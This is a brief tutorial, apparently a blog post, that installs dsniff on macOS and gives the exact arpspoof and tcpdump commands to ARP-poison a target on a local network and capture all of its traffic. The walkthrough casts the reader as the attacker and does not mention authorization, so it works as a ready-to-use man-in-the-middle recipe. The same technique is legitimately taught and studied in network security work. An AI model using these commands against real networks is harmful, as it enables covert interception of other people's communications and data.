To install dsniff on MAC OS X - with MacPorts.
$ sudo port install dsniff
Now you need to find out two things,
1. IP address of the target machine - say 192.168.1.4
2. IP address of the Gateway - say 192.168.1.1
Let's start ARP poisoning from the attacker's machine - with arpspoof tool which comes with dsniff.
$ sudo arpspoof -i en1 -t 192.168.1.4 192.168.1.1
This will update target machine's ARP table with attacker's MAC address against the IP address of the gateway.
Now - start a tcpdump on the same interface from your machine - start viewing all the traffic going to and from the target machine.
$ sudo tcpdump -i en1